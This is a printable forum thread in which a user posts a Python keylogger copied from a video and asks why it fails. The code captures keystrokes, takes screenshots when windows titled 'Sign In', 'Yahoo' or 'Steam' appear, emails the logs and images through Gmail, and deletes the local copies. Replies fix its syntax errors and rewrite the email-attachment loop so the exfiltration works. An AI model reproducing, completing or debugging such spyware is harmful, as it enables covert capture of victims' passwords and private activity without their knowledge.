Wtf i did wrong? - Printable Version +- Python Forum (https://python-forum.io) +-- Forum: Python Coding (https://python-forum.io/forum-7.html) +--- Forum: General Coding Help (https://python-forum.io/forum-8.html) +--- Thread: Wtf i did wrong? (/thread-1060.html) |
Wtf i did wrong? - AlexEdy1982 - Nov-30-2016 Cand someone please wtf i did wrong on this.Actually wtf i copied wrong on this.I really needed a keylogger that sends the text file + images via email so i found one on youtube but no source code...So i decided to spend like 2 hours to copy this sh.. https : //www.youtube.com/watch?v=kUQz87TMHZM I even copied the # lines to help me understand wtf i copied once i finished it all. # # # # # # # # # # # # # # # # # # # # # # # # # from threading import Timer from threading import Thread from email.mime.tet import MIMETEXT from email.mime.image import MIMEImage from email.mime.multipart import mimeMultipart import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib #Keylogger settings ######################################## #Email Settings LOG_SENDMAIL = True LOG_MAIL = 'here was the email' LOG_PASS = 'here was the pass' LOG_FROM = '[email protected]' LOG_SUBJ = 'Long Time' LOG_MSG = 'Howdy' #------------------------- #Screenshot Settings LOG_SCREENSHOT = True Log_SCREENSNUM = 3 LOG_INTERVAL = 2 LOG_SCREEN = [] LOG_SCREEN.append("Yahoo") LOG_SCREEN.append("Sign In") LOG_SCREEN.append("Steam") #--------------------------- # System Settings LOG_FILENAME = 'tempConf.txt' LOG_TOSEND = [] LOG_ACTIVE = '' LOG_STATE = False LOG_TIME = 0 LOG_TEXT = "" LOG_TEXTSIZE = 0 LOG_MINTERVAL = 60 LOG_THREAD_kl = 0 LOG_THREAD_ss = 0 #-------------------------------- # Debug [Don't change] # LOG_ITERATE = 3 # print os.getcwd() ################################### # this sets the thread ID before execution main_thread_id = win32api.GetCurrentThreadId() def Keylog(k, LOG_TIME, LOG_FILENAME) : #only supported for windows at the moment.... if os.name != 'nt': return "Not supported for this operating system.\n" global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVATE, main_thread_id LOG_STATE = True # begin keylogging! main_thread_id = win32api.GetCurrentThreadId() # add timestamp when it starts... LOG_TEXT += "\n===========================================================\n" LOG_DATE = datetime.datetime.now() LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started..|\n' LOG_TEXT += "==============================================================\n\n" #find out which windows is currently active! w = win32gui LOG_ACTIVE = w.GetWindowsText (w.GetForegroundWindows() ) LOG_DATE = datetime.datetime.now() LOG_TEXT += " [*]Window activated. [" + str(LOG_DATE) + "] \n" LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n" LOG_TEXT += " " + LOG_ACTIVE + " |\n" LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n" if LOG_TIME > 0: t = Timer(LOG_TIME, stopKeylog) # Quit t.start() #open file to write LOG_FILE = open(LOG_FILENAME, 'w') LOG_FILE.write(LOG_TEXT) LOG_FILE.close() hm = pyhook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() #After finished , we add the timestamp at the end. LOG_FILE = open(LOG_FILENAME, 'a') LOG_TEXT += "\n\n================================================\n" LOG_DATE = datetime.datetime.now() LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n' LOG_TEXT += "=====================================================\n" LOG_STATE = False try: LOG_File.write(LOG_TEXT) LOG_File.close() except: LOG_FILE.close() return True #this function stops the keylogger.. # thank god for the StackOverflow thread ! :D def stopKeylog(): win32api.PostTreahMessage(main_thread_id, win32con.WM_QUIT, 0, 0); # this function actually records the strokes... def OnKeyboardEvent(event): global LOG_STATE, LOG_THREAD_ss #return if it isnt logging. if LOG_STATE = False: return True global LOG_TEXT, LOG_FILE, LOG_FILENAME, LOG_ACTIVE, LOG_INTERVAL, LOG_SCREENSHOT, Log_SCREENSNUM LOG_TEXT = " " LOG_FILE - open(LOG_FILENAME, 'a') # check for new windows activation wg = win32gui LOG_NEWACTIVE = wg.GetWindowsTExt (wg.GetForegroundWindows()) if LOG_NEWACTIVE != LOG_ACTIVE: # record it down nicely... LOG_DATE = datetime.datetime.now() LOG_TEXT += "\n\n [*]Window activate. [" + str(LOG_DATE) + "] \n" LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n" LOG_TEXT += " " + LOG_NEWACTIVE + " |\n" LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n" LOG_ACTIVE = LOG_NEWACTIVE # take screenshots while logging! if LOG_SCREENSHOT == True: LOG_IMG = 0 while LOG_IMG < len(LOG_SCREEN): if LOG_NEWACTIVE.find(LOG_SCREEN[LOG_IMG]) > 0: LOG_TEXT += " [*]Taking " + str(Log_SCREENSNUM) + " screenshot for \"" + LOG_SCREEN[LOG_IMG] + "\" match.\n" LOG_TEXT += " [*]Timestamp: " +str(datetime.datetime.now()) + "\n\n" ss = Thread(target=takeScreenshots, args=(LOG_THREAD_ss,Log_SCREENSNUM,LOG_INTERVAL)) ss.start() LOG_THREAD_ss += 1 #add 1 to thread counter LOG_IMG += 1 LOG_FILE.write(LOG_TEXT) LOG_TEXT = "" if event.Ascii == 8: LOG_TEXT += "\b" elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n" else: LOG_TEXT += str(chr(event.Ascii)) # write to file LOG_FILE.write(LOG_TEXT) LOG_FILE.close() return True # screenshot function def Screenshot (): img=ImageGrab.grab() saveas=os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S')+'.png') img_save(saveas) if LOG_SENDMAIL == True: addFile = str(os.getcwd()) + "\\" + str(saveas) LOG_TOSEND.append(addFile) # add to the list # take multiple screenshots function # args = number of shots, interval between shots def takeScreenshots(i, maxShots, intShots): shot = 0 while shot < maxShots: shottime = time.strftime('%Y_%m_%d_%H_%M_%S') Screenshot() time.sleep(intShots) shot += 1 # send email function # this example is for GMAIL if you use a different server # you MUST change the line bellow to the server/port needed # server = smtplib.SMTP('smtp.gmail.com:587') def sendEmail(): msg = MTMEMultipart() msg['Subject'] = LOG_SUBJ msg['From'] = LOG_FROM msg['To'] = LOG_MAIL msg.preamble = LOG_MSG # attach each file in LOG_TOSEND list for file in LOG_TOSEND: #attach text file if file[-4] =='.txt': fp = open(file) attach = MIMEText(fp.read()) fp.close() # attach images elif file[-4:] == '.png': fp = open(file, 'rb') attach = MIMEImage(fp.read()) fp.close() attach.add_header('Content-Disposition' , 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(attach) server = smtplib.smtp('smtp.gmail.com:587') server.starttls() server.login(LOG_MAIL, LOG_PASS) server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string()) server.quit() # function to clean up files def deleteFiles(): if len(LOG_TOSEND) < 1: return True for file in LOG_TOSEND: os.unlink(file) #begin keylogging kl = Thread(target=Keylog, args=(LOG_THREAD_kl,LOG_TIME,LOG_FILENAME)) kl.start() # if keylogging is running infinitely if LOG_TIME < 1: # begin cintinouous loop while True: #ZzzzZZzzZZZz time.sleep(LOG_MINTERVAL) #sleep for time specified LOG_NEWFILE = time.strftime('%Y_%m_%d_%H_%M_%S') + ".txt" # add file to the LOG_TOSEND list if LOG_SENDMAIL == True: addFile = str(os.getcwd()) + "\\" + str(LOG_NEWFILE) LOG_TOSEND.append(addFile) # add to the list LOG_SAVEFILE = open(LOG_NEWFILE, 'w') LOG_CHCKSIZE = open(LOG_FILENAME , 'r') LOG_SAVEFILE.write(LOG_CHCKSIZE.read()) LOG_CHCKSIZE.close() try: LOG_SAVEFILE.write(LOG_SAVETEXT) LOG_SAVEFILE.close() except: LOG_SAVEFILE.close() # send mail if LOG_SENDMAIL == True: sendEmail() time.sleep(6) deleteFiles() LOG_TOSEND = [] # clear this list #otherwise sleep for specified time , then break program elif LOG_TIME > 0: # sleep for time specified time.sleep(LOG_TIME) # check to send email if LOG_SENDMAIL == True: sendEmail () time.sleep(6) RE: what the f*ck i did wrong? - Ofnuts - Nov-30-2016 So, what s the problem? Error message? Traceback? RE: what the f*ck i did wrong? - AlexEdy1982 - Nov-30-2016 Error message invalid syntax RE: what the f*ck i did wrong? - nilamo - Nov-30-2016 On line 88 (and other, similar lines), you can't start a string on one line, and finish the line on the next. If you want to do that, use triple quote syntax, or escape the newline. So, your code: >>> LOG_TEXT = " File "<stdin>", line 1 LOG_TEXT = " ^ SyntaxError: EOL while scanning string literalOption 1: >>> LOG_DATE = "right now, yo" >>> LOG_TEXT = """ ... [*]Window activated. [""" + str(LOG_DATE) + """] \n""" >>> print(LOG_TEXT) [*]Window activated. [right now, yo] >>>Option 2: >>> LOG_TEXT = \ ... "[*]Window activated. [" + str(LOG_DATE) + "] \n" >>> print(LOG_TEXT) [*]Window activated. [right now, yo] >>>In either case, it'd look a lot cleaner if you used string formatting instead of concatenating strings together: >>> LOG_TEXT = "[*]Window activated. [{0}]\n".format(LOG_DATE) >>> print(LOG_TEXT) [*]Window activated. [right now, yo] >>> RE: what the f*ck i did wrong? - AlexEdy1982 - Nov-30-2016 I did not finished the code on other line that's just the way it copied to the forum....Actually the error tells me that 126 "if LOG_STATE = False : return True" shit, invalid syntax. but that's how it was written there... any suggestions? RE: what the f*** i did wrong? - nilamo - Nov-30-2016 A single equal sign is for assignment, to compare, use two of them. Assignment is a statement, and comparing is an expression. It's a syntax error to use a statement in the if/with/while/etc expressions. IE, do this: if LOG_STATE == False: return TrueIn other languages, such as c++, statements are valid in the conditional checks, so in this case, LOG_STATE would always be False... because you're setting it to false. Which is why in other languages, you'll put the constant/immutable object first, so if you accidentally missed the second equal sign, you'd still get a compiler error. Like so: "if (false == some_value) {". I view this as a benefit of python, as a syntax error is much easier to understand than your function always returning False because you're never actually checking the value of your variable. RE: what the heck i did wrong? - AlexEdy1982 - Nov-30-2016 Thanks..Yeah resolved that, and it keyloggs to a file really well but doesnt send them to my email. ######################### Traceback File "C:\blabla\keylog.py" line 252 in module sendEmail<> line 206 in sendEmail attach.add_header('Content-Disposition' , 'attachment; filename="%s"' % os.path.basename(file)) LOCAL VARIABLE 'attach' referenced before assignment RE: what the heck i did wrong? - nilamo - Nov-30-2016 Here's the snippet that's giving that error: for file in LOG_TOSEND: #attach text file if file[-4] =='.txt': fp = open(file) attach = MIMEText(fp.read()) fp.close() # attach images elif file[-4:] == '.png': fp = open(file, 'rb') attach = MIMEImage(fp.read()) fp.close() attach.add_header('Content-Disposition' , 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(attach)If we were to describe what's happening using pseudocode instead of python, we'd probably say something like this: foreach file in list-of-files: if file-extension == '.txt': attachment = read-as-text(file) if file-extension == '.png': attachment = read-as-image(file) attachment.set-email-header() message.attach(attachment)The problem, is that if the extension isn't .txt or .png, we're trying to attach an attachment that doesn't exist. If it's a .jpg, we never create the attachment, so when we try to add the attachment header, you get an error. In order to fix that, we can define the attachment with a default value, and then before adding headers or attaching to the message, we check if the attachment actually has a value. Probably like this: for file in LOG_TOSEND: attach = None #attach text file if file[-4] =='.txt': fp = open(file) attach = MIMEText(fp.read()) fp.close() # attach images elif file[-4:] == '.png': fp = open(file, 'rb') attach = MIMEImage(fp.read()) fp.close() if attach: attach.add_header('Content-Disposition' , 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(attach)Although that's kind of ugly, so I'd probably want to change it to look like this: ext_parsers = { 'txt': { 'parser': MIMEText, 'mode': 'r' }, 'png': { 'parser': MIMEImage, 'mode': 'rb' } } for file in LOG_TOSEND: ext = file[-4:] if ext in ext_parsers: with open(file, ext_parsers[ext]['mode']) as fp: attach = ext_parsers[ext]['parser'](fp.read()) attach.add_header('Content-Disposition' , 'attachment; filename="{0}"'.format(os.path.basename(file))) msg.attach(attach) |